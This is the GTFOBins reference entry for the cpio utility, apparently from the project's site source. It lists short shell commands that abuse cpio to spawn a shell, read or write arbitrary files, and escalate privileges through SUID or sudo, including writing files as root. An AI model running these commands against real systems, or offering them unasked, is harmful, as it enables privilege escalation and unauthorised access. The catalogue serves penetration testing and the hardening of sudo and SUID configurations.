GTFOBins.github.io/_gtfobins/cpio.md

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---
functions:
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shell:
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- code: |
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echo '/bin/sh </dev/tty >/dev/tty' >localhost
cpio -o --rsh-command /bin/sh -F localhost:
file-read:
- description: The content of the file is printed to standard output, between the cpio archive format header and footer.
code: |
LFILE=file_to_read
echo "$LFILE" | cpio -o
- description: The whole directory structure is copied to `$TF`.
code: |
LFILE=file_to_read
TF=$(mktemp -d)
echo "$LFILE" | cpio -dp $TF
cat "$TF/$LFILE"
file-write:
- description: Copies `$LFILE` to the `$LDIR` directory.
code: |
LFILE=file_to_write
LDIR=where_to_write
echo DATA >$LFILE
echo $LFILE | cpio -up $LDIR
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suid:
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- description: The whole directory structure is copied to `$TF`.
code: |
LFILE=file_to_read
TF=$(mktemp -d)
echo "$LFILE" | ./cpio -R $UID -dp $TF
cat "$TF/$LFILE"
- description: Copies `$LFILE` to the `$LDIR` directory.
code: |
LFILE=file_to_write
LDIR=where_to_write
echo DATA >$LFILE
echo $LFILE | ./cpio -R 0:0 -p $LDIR
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sudo:
- code: |
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echo '/bin/sh </dev/tty >/dev/tty' >localhost
sudo cpio -o --rsh-command /bin/sh -F localhost:
- description: The whole directory structure is copied to `$TF`.
code: |
LFILE=file_to_read
TF=$(mktemp -d)
echo "$LFILE" | sudo cpio -R $UID -dp $TF
cat "$TF/$LFILE"
- description: Copies `$LFILE` to the `$LDIR` directory.
code: |
LFILE=file_to_write
LDIR=where_to_write
echo DATA >$LFILE
echo $LFILE | sudo cpio -R 0:0 -p $LDIR
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---